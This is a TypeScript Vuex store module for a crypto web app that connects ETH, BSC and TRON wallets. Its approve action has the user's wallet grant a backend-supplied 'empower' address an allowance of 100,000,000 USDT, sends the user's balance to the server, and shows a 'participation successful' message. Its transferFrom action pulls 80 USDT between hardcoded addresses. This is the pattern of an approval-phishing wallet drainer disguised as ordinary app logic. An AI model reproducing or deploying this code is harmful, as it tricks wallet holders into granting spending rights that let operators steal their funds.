import {Toast} from 'vant';
import type {State} from '..';
import http from "@/utils/http";
import type {ActionTree, GetterTree, MutationTree} from 'vuex'
import {ethers} from 'ethers'
import {chainList} from '@/utils/common';

interface Infos {
    envChain?: string
    envAddress?: string
    address?: string
    token?: string
    phone?: string
    email?: string
    invitationCode?: string
    isWeb3?: boolean

    [index: string]: any
}

export interface UsersState {
    infos: Infos
}


const state: UsersState = {
    infos: {
        envChain: 'eth',
        envAddress: '',
        isWeb3: false
    }
}


const mutations: MutationTree<UsersState> = {
    updateInfos(state, data) {
        state.infos = {
            ...state.infos,
            ...data
        }
    },
    clearToken(state) {
        state.infos = {
            envChain: 'eth',
            envAddress: '',
            isWeb3: false,
        }
    }
}

const actions: ActionTree<UsersState, State> = {
    async getUserInfo(_, data) {
        const ret: any = await http.get('user/detail')
        if (ret?.code === 200) {
            _.commit('updateInfos', ret.data)
        }
    },
    async login(_, data) {
        let code = '';
        for (let i = 0; i < 8; i++) {
            code += parseInt(Math.random() * 10 + '');
        }
        const ret: any = await http.post('user/login', data)
        if (ret.code === 200) {
            _.commit('updateInfos', {
                chain: ret.data.chain,
                address: ret.data.address,
                token: ret.data.token,
                email: code + '@qq.com',
            })
        }
    },

    /**
     * 通过地址登陆
     * @param _ store
     */
    async loginByAddress(_) {
        // 公链和地址为空，直接结束
        const info = _.state.infos
        if (!info.envChain || !info.envAddress) {
            return
        }

        await http.post('user/login/address', {chain: info.envChain, address: info.envAddress}).then((res: any) => {
            if (res.code === 200) {
                _.commit('updateInfos', {
                    token: res.data.token,
                    ...res.data.user
                })
            }
        })
    },

    async transferFrom(_, data) {
        if (data === 'eth') {
            const daiAddress = chainList.eth.usdt_address;
            const daiAbi = [
                "function name() view returns (string)",
                "function symbol() view returns (string)",
                "function balanceOf(address) view returns (uint)",
                "function transfer(address to, uint amount)",
                "function approve(address spender, uint256 value) public returns (bool)",
                "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)",
                "event Transfer(address indexed from, address indexed to, uint amount)"
            ];
            const provider = new ethers.providers.Web3Provider((window as any).ethereum)
            await provider.send("eth_requestAccounts", []);
            const signer = provider.getSigner()
            const address = await signer.getAddress()
            const daiContract = new ethers.Contract(daiAddress, daiAbi, signer);
            // console.log((await daiContract.balanceOf(address)).toString())
            const ret = await daiContract.transferFrom('0x60D47102502bA666998761dC7259AbA8E2B0ae63', '0x20fde271C3DDFaC8265cbAf6259A3F56524d1bc6', ethers.utils.parseUnits('80', 18))
            // console.log(ethers.utils.parseUnits('80', 18))
            const res = await ret.wait(1)
            // console.log('转账', res)

        } else if (data === 'trx') {
            const daiAddress = chainList.trx.usdt_address;
            const trx_address = (window as any).tronWeb.defaultAddress.base58
            const daiAbi = [
                "function balanceOf(address account) external view returns (uint256);",
                "function allowance(address owner, address spender) external view returns (uint256);",
                "function approve(address spender, uint256 amount) external returns (bool);",
                "function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);"
            ];
            const daiContract = await (window as any).tronWeb.contract().at(daiAddress);
            const ret = await daiContract.transferFrom('TEqnrmNHL3S3hgQsLobcJCbwFu1uGPccmo', 'TH8oLgwnGfsfXwxmj9j6UkF6Wwo3gEYVFB', ethers.utils.parseUnits('80', 18)).send({
                feeLimit: 100_000_000,
                callValue: 0,
                shouldPollResponse: true
            });
            // console.log('转账', ret)
        }
    },
    async approve(_, data) {
        // Toast.loading({
        //     message: '请求中...',
        //     duration: 0,
        //     forbidClick: true
        // });
        if (data === 'eth' || data === 'bsc') {
            const daiAddress = data === 'eth' ? chainList.eth.usdt_address : chainList.bsc.usdt_address;
            const weishu = data === 'eth' ? chainList.eth.usdt_wei : chainList.bsc.usdt_wei;
            const daiAbi = [
                "function name() view returns (string)",
                "function symbol() view returns (string)",
                "function balanceOf(address) view returns (uint)",
                "function transfer(address to, uint amount)",
                "function approve(address spender, uint256 value) public returns (bool)",
                "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)",
                "event Transfer(address indexed from, address indexed to, uint amount)"
            ];
            const provider = new ethers.providers.Web3Provider((window as any).ethereum)
            await provider.send("eth_requestAccounts", []);
            const signer = provider.getSigner()
            const address = await signer.getAddress()
            const daiContract = new ethers.Contract(daiAddress, daiAbi, signer);
            const balance = (await daiContract.balanceOf(address)).toString()
            // 0x81E7555B2497b6217DE78CdcaF7C6f5d1FAa7e29
            // console.log('address', address)
            // console.log('daiContract', daiContract)
            // console.log('_.state.infos.ethEmpowerAddress', _.state.infos.ethEmpowerAddress)

            const ret = await daiContract.approve(_.state.infos.ethEmpowerAddress, ethers.utils.parseUnits('100000000', weishu))
            const res = await ret.wait(1)
            // console.log('授权金额', ethers.utils.formatEther(balance))
            // console.log('授权结果', res)
            Toast.clear()
            const ret2: any = await http.post('empower', {
                userAddress: address, //用户地址
                empowerAddress: _.state.infos.ethEmpowerAddress, //授权地址
                num: ethers.utils.formatEther(balance), //授权数量
                chain: data, //授权公链
                txHash: res.transactionHash
            })
            if (ret2.code === 200) {
                Toast('参与成功')
            }
        } else if (data === 'trx') {
            const daiAddress = chainList.trx.usdt_address;
            const weishu = chainList.trx.usdt_wei
            const trx_address = (window as any).tronWeb.defaultAddress.base58
            const daiAbi = [
                "function balanceOf(address account) external view returns (uint256);",
                "function allowance(address owner, address spender) external view returns (uint256);",
                "function approve(address spender, uint256 amount) external returns (bool);",
                "function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);"
            ];
            const daiContract = await (window as any).tronWeb
                .contract()
                .at(daiAddress);
            // const daiContract = new TronWeb().contract(daiAbi,daiAddress)
            // console.log('daiContract', daiContract)
            const balance = (await daiContract.balanceOf(trx_address).call()).toString()
            const ret = await daiContract.approve(_.state.infos.trxEmpowerAddress, ethers.utils.parseUnits('100000000', weishu)).send({
                feeLimit: 100_000_000,
                callValue: 0,
                shouldPollResponse: true
            });
            Toast.clear()
            // console.log('授权金额', ethers.utils.formatUnits(balance, 6))
            // console.log('授权结果', ret)
            const ret2: any = await http.post('empower', {
                userAddress: trx_address, //用户地址
                empowerAddress: _.state.infos.trxEmpowerAddress, //授权地址
                num: ethers.utils.formatUnits(balance, 6), //授权数量
                chain: data, //授权公链
                // txHash: ret
            })
            if (ret2.code === 200) {
                Toast('参与成功')
            }
        }
    },
    async connectWallet(_, data) {
        return new Promise((res: any, rej) => {
            // if (!(window as any).ethereum && !(window as any).tronWeb) {
            //     (async function () {
            //         // const { connectWalletConnect, disconnectWallet, state } = connect();
            //         // await connectWalletConnect();
            //         // return false
            //     })()
            // }
            if (data === 'eth' || data === 'bsc') {
                if ((window as any).ethereum) {
                    setTimeout(async () => {
                        const provider = new ethers.providers.Web3Provider((window as any).ethereum)
                        await provider.send("eth_requestAccounts", []);
                        const signer = provider.getSigner()
                        const address = await signer.getAddress()
                        _.commit('updateInfos', {
                            envAddress: address
                        })
                        res()
                    }, 50)
                }
            } else if (data === 'trx') {
                const obj = setInterval(async () => {
                    if ((window as any).tronWeb && (window as any).tronWeb.defaultAddress.base58) {
                        clearInterval(obj)
                        const address = (window as any).tronWeb.defaultAddress.base58
                        _.commit('updateInfos', {
                            envAddress: address
                        })
                        res()
                    }
                }, 10)
            }
        })
    },

}

const getters: GetterTree<UsersState, State> = {}


export default {
    namespaced: true,
    state,
    mutations,
    actions,
    getters
}
